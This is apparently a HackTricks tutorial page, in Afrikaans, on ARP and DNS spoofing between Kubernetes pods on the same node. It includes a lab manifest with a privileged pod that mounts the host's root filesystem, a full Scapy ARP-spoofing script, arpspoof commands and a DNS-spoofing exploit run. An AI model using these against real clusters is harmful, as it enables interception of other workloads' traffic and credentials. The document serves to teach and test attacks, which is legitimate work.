Kubernetes Network Attacks

Leer AWS hack vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Inleiding

In Kubernetes word daar waargeneem dat 'n verstekgedrag die vestiging van verbindings tussen alle houers wat op dieselfde nodus woon toelaat. Dit geld ongeag die namespace-onderskeidings. Hierdie konnektiwiteit strek tot Laag 2 (Ethernet). Gevolglik stel hierdie konfigurasie die stelsel bloot aan kwesbaarhede. Spesifiek maak dit die moontlikheid oop vir 'n boosaardige houer om 'n ARP-spoofing-aanval uit te voer teen ander houers wat op dieselfde nodus geleë is. Tydens so 'n aanval kan die boosaardige houer bedrieglik netwerkverkeer wat bedoel is vir ander houers, onderskep of wysig.

ARP-spoofing-aanvalle behels dat die aanvaller vervalsde ARP (Address Resolution Protocol) boodskappe oor 'n plaaslike area-netwerk stuur. Dit lei daartoe dat die aanvaller se MAC-adres gekoppel word aan die IP-adres van 'n legitieme rekenaar of bediener op die netwerk. Na suksesvolle uitvoering van so 'n aanval kan die aanvaller data wat in-transit is, onderskep, wysig of selfs stop. Die aanval word uitgevoer op Laag 2 van die OSI-model, daarom veroorsaak die verstek-konnektiwiteit in Kubernetes op hierdie laag sekuriteitskwessies.

In die scenario word 4 masjiene geskep:

  • ubuntu-pe: Bevoorregte masjien om na die nodus te ontsnap en metriek te kontroleer (nie nodig vir die aanval nie)

  • ubuntu-attack: Boosaardige houer in die verstek namespace

  • ubuntu-victim: Slagoffer masjien in die kube-system namespace

  • mysql: Slagoffer masjien in die verstek namespace

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Basiese Kubernetes-netwerking

As jy meer besonderhede oor die netwerkonderwerpe wat hier aangebied word, wil hê, gaan na die verwysings.

ARP

Oor die algemeen is pod-to-pod-netwerking binne die node beskikbaar via 'n brug wat al die pods verbind. Hierdie brug word "cbr0" genoem. (Sommige netwerkplugins sal hul eie brug installeer.) Die cbr0 kan ook ARP-oplossing hanteer (Address Resolution Protocol). Wanneer 'n inkomende pakkie by cbr0 arriveer, kan dit die bestemmings-MAC-adres oplos deur ARP te gebruik.

Hierdie feit impliseer dat, standaard, elke pod wat op dieselfde node loop, in staat sal wees om te kommunikeer met enige ander pod in dieselfde node (onafhanklik van die namespace) op ethernetvlak (laag 2).

Daarom is dit moontlik om ARP-spoofing-aanvalle tussen pods in dieselfde node uit te voer.

DNS

In Kubernetes-omgewings sal jy gewoonlik 1 (of meer) DNS-dienste vind wat hardloop in die kube-system-namespace:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

In die vorige inligting kan jy iets interessant sien, die IP van die diens is 10.96.0.10, maar die IP van die houer wat die diens uitvoer is 172.17.0.2.

As jy die DNS-adres binne enige houer nagaan, sal jy iets soos hierdie vind:

cat /etc/resolv.conf
nameserver 10.96.0.10

Echter, die pod weet nie hoe om na daardie adres te gaan nie, omdat die pod-reeks in hierdie geval 172.17.0.10/26 is.

Daarom sal die pod die DNS-versoeke na die adres 10.96.0.10 stuur wat deur die cbr0 na 172.17.0.2 vertaal sal word.

Dit beteken dat 'n DNS-versoek van 'n pod altyd deur die brug sal gaan om die diens-IP na die eindpunt-IP te vertaal, selfs as die DNS-bediener in dieselfde subnetwerk as die pod is.

Met hierdie kennis, en wetende dat ARP-aanvalle moontlik is, sal 'n pod in 'n node in staat wees om die verkeer tussen elke pod in die subnetwerk en die brug te onderskep en die DNS-antwoorde van die DNS-bediener te verander (DNS-spoofing).

Verder, as die DNS-bediener in dieselfde node as die aanvaller is, kan die aanvaller alle DNS-versoeke van enige pod in die groep onderskep (tussen die DNS-bediener en die brug) en die antwoorde verander.

ARP-spoofing in pods in dieselfde Node

Ons doel is om ten minste die kommunikasie van die ubuntu-slachtoffer na die mysql te steel.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

ARPSpoof is 'n tegniek wat gebruik word om 'n ARP (Address Resolution Protocol) aanval uit te voer. Hierdie aanval maak gebruik van vervalsing van ARP-pakette om die ARP-tabel van 'n doelwitrekenaar te manipuleer. Die doel van hierdie aanval is om die kommunikasie tussen twee rekenaars te onderskep en te onderskep.

Die aanvaller stuur vervalsde ARP-pakette na die doelwitrekenaar en die standaardroeteerder. Hierdie vervalsde pakette bevat valse IP- en MAC-adresse. As die aanval suksesvol is, sal die ARP-tabel van die doelwitrekenaar opgedateer word met die valse inligting. Hierdie valse inligting sal veroorsaak dat die doelwitrekenaar sy kommunikasie na die aanvaller stuur in plaas van na die regte bestemming.

Hier is 'n voorbeeld van hoe 'n ARPSpoof-aanval uitgevoer kan word:

  1. Identifiseer die doelwitrekenaar en die standaardroeteerder in die netwerk.

  2. Stel 'n valse ARP-pakket op met die IP-adres van die doelwitrekenaar as die bron-IP-adres en die MAC-adres van die aanvaller as die bron-MAC-adres.

  3. Stuur die valse ARP-pakket na die doelwitrekenaar en die standaardroeteerder.

  4. As die aanval suksesvol is, sal die ARP-tabel van die doelwitrekenaar opgedateer word met die valse inligting.

  5. Die doelwitrekenaar sal sy kommunikasie na die aanvaller stuur in plaas van na die regte bestemming.

Dit is belangrik om te verstaan dat ARPSpoof 'n aanvalstegniek is wat gebruik kan word om netwerkverkeer te onderskep en te onderskep. Dit kan egter ook gebruik word vir kwaadwillige doeleindes, soos die onderskep van gevoelige inligting soos wagwoorde en kredietkaartinligting.

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Soos reeds genoem, as jy 'n pod in dieselfde node as die DNS-bediener pod kompromitteer, kan jy MitM met ARPSpoofing die brug en die DNS pod en verander al die DNS-antwoorde.

Jy het 'n baie mooi instrument en handleiding om dit te toets by https://github.com/danielsagi/kube-dnsspoof/

In ons scenario, laai die instrument af in die aanvaller pod en skep 'n **lêer genaamd hosts ** met die domeine wat jy wil spoof soos:

cat hosts
google.com. 1.1.1.1

Voer die aanval uit op die ubuntu-slagsoffer masjien:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

As jy probeer om jou eie DNS-spoofing skrip te skep, as jy net die DNS-antwoord wysig, gaan dit nie werk nie, omdat die antwoord 'n src IP gaan hê, die IP-adres van die skadelike pod, en dit sal nie aanvaar word nie. Jy moet 'n nuwe DNS-pakket genereer met die src IP van die DNS waar die slagoffer die DNS-versoek stuur (wat iets soos 172.16.0.2 is, nie 10.96.0.10 nie, dit is die K8s DNS-diens IP en nie die DNS-bediener IP nie, meer hieroor in die inleiding).

Vang Verkeer

Die instrument Mizu is 'n eenvoudige maar kragtige API-verkeerskyker vir Kubernetes wat jou in staat stel om alle API-kommunikasie tussen mikrodienste te sien om jou te help met die opspoor en oplos van regressies. Dit sal agente in die gekose pods installeer en hul verkeersinligting versamel en aan jou wys in 'n webbediener. Jy sal egter hoë K8s-permissies nodig hê hiervoor (en dit is nie baie heimlik nie).

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated